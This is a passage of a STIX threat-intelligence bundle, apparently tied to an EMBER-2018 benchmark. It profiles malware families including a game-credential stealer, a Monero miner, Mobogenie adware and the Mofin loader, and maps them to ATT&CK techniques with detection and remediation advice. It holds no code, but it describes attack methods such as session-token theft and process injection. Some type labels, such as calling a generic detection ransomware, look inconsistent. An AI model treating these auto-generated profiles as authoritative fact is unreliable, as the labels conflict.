      "id": "relationship--21e024e4-31fd-5b16-9b1b-9b2ea6227280",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d24fdd1-23a6-5286-ae48-5e783b5b5072",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmnfbgfpueki exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4998267a-79f5-5fef-8098-1333d11fe345",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mmorpg",
      "description": "<h3>Executive Summary</h3>\nMMORPG (often detected as Trojan.PWS.MMORPG or Spyware.MMORPG) is a specialized class of Password Stealing Trojans (PWS) engineered specifically to target gamers. Its primary objective is to covertly harvest login credentials, session tokens, and valuable in-game assets from popular Massively Multiplayer Online Role-Playing Games (like World of Warcraft, Lineage, or Steam accounts) and transmit them to cybercriminals for financial gain.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMMORPG trojans are almost exclusively distributed through gaming-related channels. They are frequently disguised as game \"cracks,\" aimbots, \"gold farming\" tools, or unofficial third-party mods downloaded from untrustworthy forums and peer-to-peer networks.\n\nUpon execution, the Trojan focuses entirely on targeted espionage:\n<ul>\n<li><strong>Targeted Credential Harvesting:</strong> Unlike generic keyloggers, MMORPG trojans are highly specialized. They actively monitor the active process list for specific game executables (e.g., `wow.exe`). When the target game is launched, the trojan intercepts the keystrokes entered specifically into the login fields.</li>\n<li><strong>Memory Scraping and Session Theft:</strong> Advanced variants do not rely solely on keylogging. They utilize memory scraping techniques to read the game's memory space, extracting decrypted passwords, or stealing active session tokens to bypass two-factor authentication (2FA).</li>\n<li><strong>Asset Theft:</strong> The stolen credentials are sent to a C2 server. Attackers then log into the victim's account, strip the character of all valuable items and virtual currency, and sell them on real-world grey markets for massive profits.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile MMORPG trojans typically do not destroy the operating system or encrypt files, they represent a highly lucrative form of cybercrime. The theft of high-level gaming accounts often results in significant financial loss for the victim and fuels a massive underground economy.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Endpoint Eradication:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan to remove the trojan and its associated persistence mechanisms (usually hidden scheduled tasks or registry run keys).</li>\n<li><strong>Immediate Account Recovery:</strong> The victim must immediately attempt to recover their compromised gaming accounts from a known-secure, uninfected device. This involves changing passwords, revoking active sessions, and ensuring hardware-based Two-Factor Authentication (2FA) is enabled.</li>\n<li><strong>Application Control:</strong> To prevent infection, users must strictly avoid downloading and executing unverified third-party \"mods\" or cheating utilities, which are the primary delivery mechanism for this class of malware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.PWS.MMORPG",
        "Spyware.OnlineGames",
        "Win32/PWS.MMORPG"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mmorpg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mmorpg"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a072ea98-f711-5a07-b53a-27e79c0a5aff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4998267a-79f5-5fef-8098-1333d11fe345",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmorpg exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e95621b7-a4a9-5eca-8267-0c4ad7d071eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4998267a-79f5-5fef-8098-1333d11fe345",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmorpg exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e038f247-d251-57ef-9b2a-7ab79f47315d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4998267a-79f5-5fef-8098-1333d11fe345",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmorpg exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce166bef-e852-5ed5-b35d-5b5121f2e28f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4998267a-79f5-5fef-8098-1333d11fe345",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmorpg exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4ce27808-3378-5e70-a97d-b3849621a6ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mmsfrmqm16Ci",
      "description": "Trojan:Win32/Mmsfrmqm16ci (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Mmsfrmqm16ci' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mmsfrmqm16Ci",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mmsfrmqm16ci"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3582452d-afc0-5f30-9ebc-a4493577ad06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ce27808-3378-5e70-a97d-b3849621a6ad",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmsfrmqm16Ci exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eeef8ee6-e137-54ee-aaa9-e232bb08d6da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ce27808-3378-5e70-a97d-b3849621a6ad",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmsfrmqm16Ci exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5db190d-6ff9-5fbe-b07d-b33826134571",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ce27808-3378-5e70-a97d-b3849621a6ad",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmsfrmqm16Ci exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a6553e20-e138-505e-93c3-9aa40b792440",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mmxmr",
      "description": "<h3>Executive Summary</h3>\nMMXMR is a specialized malicious cryptocurrency miner (cryptojacking malware) explicitly designed to illicitly mine Monero (XMR). By covertly hijacking the CPU and occasionally GPU resources of infected endpoints, MMXMR generates cryptocurrency for its operators, leading to severe performance degradation, increased power consumption, and hardware wear on the victim's machines.\n\n<h3>Technical Implementation and Execution</h3>\nMMXMR is typically distributed via exploit kits targeting unpatched vulnerabilities, disguised as legitimate software updates, or dropped as a secondary payload by initial access trojans.\n\nUpon execution, MMXMR focuses on stealth and maximum resource utilization:\n<ul>\n<li><strong>Process Injection:</strong> It frequently injects its mining payload into legitimate Windows processes (such as `svchost.exe`, `explorer.exe`, or `notepad.exe`) to mask its CPU consumption in the Task Manager.</li>\n<li><strong>Resource Management:</strong> Advanced MMXMR variants monitor user activity. If the user opens the Task Manager or starts a resource-intensive application, the miner temporarily pauses or throttles its CPU usage to avoid detection.</li>\n<li><strong>Stratum Protocol:</strong> The malware communicates with remote mining pools utilizing the Stratum mining protocol, receiving computational tasks and submitting calculated hashes to generate Monero for the attacker's wallet.</li>\n</ul>\n\n<h3>Operational Impact</h3>\nWhile MMXMR does not steal data or encrypt files, it causes significant operational disruption. Infected machines suffer from extreme latency, overheating, and frequent crashes. In enterprise environments, widespread cryptojacking infections dramatically increase electricity costs and accelerate hardware degradation.\n\n<h3>Detection and Remediation</h3>\n<ul>\n<li><strong>Performance Monitoring:</strong> Utilize endpoint management tools to monitor for sustained, unexplained high CPU usage (often pinned at 90-100%) across multiple endpoints, a hallmark of cryptojacking.</li>\n<li><strong>Network Traffic Analysis:</strong> Inspect outbound network traffic for connections utilizing the Stratum protocol or connections to known cryptocurrency mining pools, often occurring over non-standard ports or port 3333.</li>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Deploy EDR solutions configured to detect process hollowing and the execution of known mining binaries (often derivatives of XMRig) operating under the guise of system processes.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Miner.MMXMR",
        "CoinMiner.Monero",
        "Riskware.BitCoinMiner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mmxmr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mmxmr"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f679717-0bbf-5edd-a487-52eba7015fe4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6553e20-e138-505e-93c3-9aa40b792440",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmxmr exhibits technique T1496 (Resource Hijacking (The core function of mining Monero cryptocurrency))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e22df00-4432-5ed8-80a9-0c02b2f79c2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6553e20-e138-505e-93c3-9aa40b792440",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmxmr exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee4908ec-a318-5701-9702-25dfb0091bfd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6553e20-e138-505e-93c3-9aa40b792440",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mmxmr exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--82c32c2d-91c0-57ee-b448-abb236e1fa64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mobogenie",
      "description": "Adware:Win32/Mobogenie is a highly intrusive Potentially Unwanted Program (PUP) that masquerades as a legitimate desktop management application for Android smartphones. While it technically provides basic file transfer capabilities, its primary function is aggressive monetization through bundled adware, browser hijacking, and, critically, pushing unwanted, potentially malicious APKs (Android applications) to devices connected to the infected PC.<br><br><b>Understanding Mobogenie (Cross-Platform Threat Vector)</b><br>To a Windows end-user, Mobogenie manifests as annoying pop-ups and a hijacked browser homepage. However, the true threat lies in its interaction with mobile devices. When a user connects their Android phone via USB, Mobogenie uses the ADB (Android Debug Bridge) connection to silently install unwanted applications directly onto the smartphone. For a security team, Mobogenie represents a unique threat vector that bridges the gap between a compromised workstation and a corporate mobile device.<br><br><b>Execution and Monetization Mechanics</b><br>Mobogenie is heavily distributed via software bundlers (Pay-Per-Install networks) (`T1189`). When executed on Windows (`T1204.002`), it establishes deep persistence (`T1547.001`) and heavily modifies browser settings (`T1112`) to inject ads. Furthermore, it operates as a background service constantly scanning for connected USB devices. If an Android device with 'USB Debugging' enabled is connected, Mobogenie acts as a rogue app store, silently pushing APKs (which generate affiliate revenue for the Mobogenie creators) to the phone, bypassing the Google Play Store entirely.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is dual-pronged: severe adware symptoms on the Windows host and unauthorized application installations on connected mobile devices. Host-based IoCs include the presence of `Mobogenie.exe`, EDR alerts for aggressive modifications to browser shortcut properties, and the installation of associated toolbars. A critical IoC is the presence of unexpected applications appearing on Android devices immediately after connecting them to the corporate network. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mobogenie",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mobogenie"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e35480fe-5077-5e6d-b5ce-b569ac799a7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82c32c2d-91c0-57ee-b448-abb236e1fa64",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mobogenie exhibits technique T1189 (Drive-by Compromise (Bundled installations))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42d65a20-c1b5-5815-8a63-f003091e7853",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82c32c2d-91c0-57ee-b448-abb236e1fa64",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mobogenie exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser Hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eaae6925-73da-51c1-8bb6-bc2c2da327fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82c32c2d-91c0-57ee-b448-abb236e1fa64",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mobogenie exhibits technique T1112 (Modify Registry (Changing default search providers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--693b2663-c087-53a6-b530-a7a763903313",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82c32c2d-91c0-57ee-b448-abb236e1fa64",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mobogenie exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--871a6154-d417-5512-98eb-71b5b10d4bb3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Moderate",
      "description": "<h3>Executive Summary</h3>\nThe \"Moderate\" classification is a generic risk indicator employed by security software and threat intelligence platforms to designate files or behaviors that pose a mid-level threat to system integrity. This label is predominantly applied to Potentially Unwanted Programs (PUPs), aggressive adware, and grayware, rather than destructive malware.\n\n<h3>Behavioral Characteristics</h3>\nFiles flagged as a \"Moderate\" risk typically operate in a legal gray area. They are often bundled with legitimate software and require users to inadvertently accept their installation via convoluted End User License Agreements (EULAs). Behaviors associated with this classification include:\n<ul>\n<li><strong>Browser Hijacking:</strong> Altering default search engines and homepages to drive traffic to affiliate websites.</li>\n<li><strong>Data Tracking:</strong> Aggressively tracking user browsing habits and search queries for targeted advertising purposes without explicit, transparent consent.</li>\n<li><strong>System Alteration:</strong> Installing unnecessary toolbars, desktop shortcuts, or background optimization services that degrade system performance.</li>\n</ul>\nThese applications generally do not attempt to steal highly sensitive data (like banking credentials) or destroy system files.\n\n<h3>Security and Privacy Implications</h3>\nWhile a \"Moderate\" threat will not encrypt a hard drive, it introduces significant operational friction and privacy concerns. The continuous display of intrusive advertisements reduces employee productivity, and the network noise generated by constant tracking telemetry can obscure more serious, targeted attacks occurring on the same network.\n\n<h3>Management and Remediation</h3>\n<ul>\n<li><strong>Policy Configuration:</strong> Configure enterprise antivirus and EDR solutions to automatically block or quarantine software classified as PUPs or grayware, rather than just logging the detection.</li>\n<li><strong>Application Whitelisting:</strong> Implement strict application control policies (e.g., Windows Defender Application Control) to ensure only explicitly approved software can execute in the environment.</li>\n<li><strong>User Education:</strong> Train users on the dangers of downloading \"free\" software from third-party aggregation sites and emphasize the importance of reading installation prompts carefully.</li>\n</ul> (Observed samples in benchmark: 1,146)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Risk.Moderate",
        "Generic.Moderate",
        "PUP.Moderate"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Moderate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/moderate"
        }
      ],
      "labels": [
        "generic_detection",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72cc6c65-5434-5562-9ecf-6f5917d85a7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--871a6154-d417-5512-98eb-71b5b10d4bb3",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moderate exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b5e6b7b-afb7-5c3e-9294-48fb8601e489",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--871a6154-d417-5512-98eb-71b5b10d4bb3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moderate exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ae29492-121a-5aac-b6a9-ea33d1aacf78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--871a6154-d417-5512-98eb-71b5b10d4bb3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moderate exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6423fa23-c6fe-5dd2-8821-8d10d445ffe3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--871a6154-d417-5512-98eb-71b5b10d4bb3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moderate exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5273fe85-e1d8-50b8-8691-ab90887d3beb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--871a6154-d417-5512-98eb-71b5b10d4bb3",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moderate exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d66030d7-da35-5215-be10-331d84d7f5a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mods",
      "description": "Adware:Win32/Mods (often detected as PUA:Win32/Mods) is a pervasive commercial **software bundling framework and adware injection platform**. It is designed to take legitimate freeware and 'wrap' it in a deceptive installer that uses 'Dark Patterns' to trick users into installing multiple aggressive adware payloads, browser hijackers, and potentially unwanted programs (PUAs) alongside the desired software.<br><br><b>Understanding Mods and PPI Networks</b><br>To an end-user, Mods appears as a standard software setup wizard. For an enterprise, it represents a significant risk of 'alert fatigue' for the SOC and a major source of Help Desk tickets due to severely degraded browser performance. The developers of the wrapper operate on a Pay-Per-Install (PPI) model, receiving financial compensation from adware vendors for every successful installation of the bundled junkware on a victim's machine.<br><br><b>Execution and Deceptive Installation Mechanics</b><br>Mods is almost exclusively encountered when users download software from untrustworthy, third-party software aggregators rather than official vendor sites (`T1204.002`). Upon execution, the wrapper initiates (`T1189`). It employs Dark Patterns, such as pre-checked 'Accept' boxes buried deep in the End User License Agreement (EULA), or confusingly worded 'Decline' buttons that actually accept the offer (`T1036`). The secondary payloads then establish persistence (often via Scheduled Tasks or Registry Run keys) (`T1547.001`) and begin injecting ads into web browsers or hijacking the default search engine (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, unauthorized tracking of browsing habits, and potential exposure to more severe malware via injected malicious ads. IoCs include EDR alerts for a single downloaded executable (e.g., `setup.exe`) spawning multiple child installers (`msiexec.exe`) for unrelated software. The user will often report a suddenly changed browser homepage, new toolbars, or excessive pop-up advertisements. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mods",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mods"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b729443f-2ffd-5a19-a53d-60dae3357eca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d66030d7-da35-5215-be10-331d84d7f5a5",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mods exhibits technique T1189 (Drive-by Compromise (Deceptive software bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74359862-f921-5a3e-b8e5-f117b988ce71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d66030d7-da35-5215-be10-331d84d7f5a5",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mods exhibits technique T1204.002 (User Execution: Malicious File (User running the wrapper))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74790721-dc3e-51d7-b291-6920db5df5d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d66030d7-da35-5215-be10-331d84d7f5a5",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mods exhibits technique T1036 (Masquerading (Disguising adware consent forms))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8e7320b-d819-50b9-a9d4-3fafe7573153",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d66030d7-da35-5215-be10-331d84d7f5a5",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mods exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4d1dc712-4f10-5138-b651-acb7ebd8cd1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mofin",
      "description": "Trojan:Win32/Mofin is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mofin</b><br>To an end-user, a Mofin infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mofin is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mofin is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mofin frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 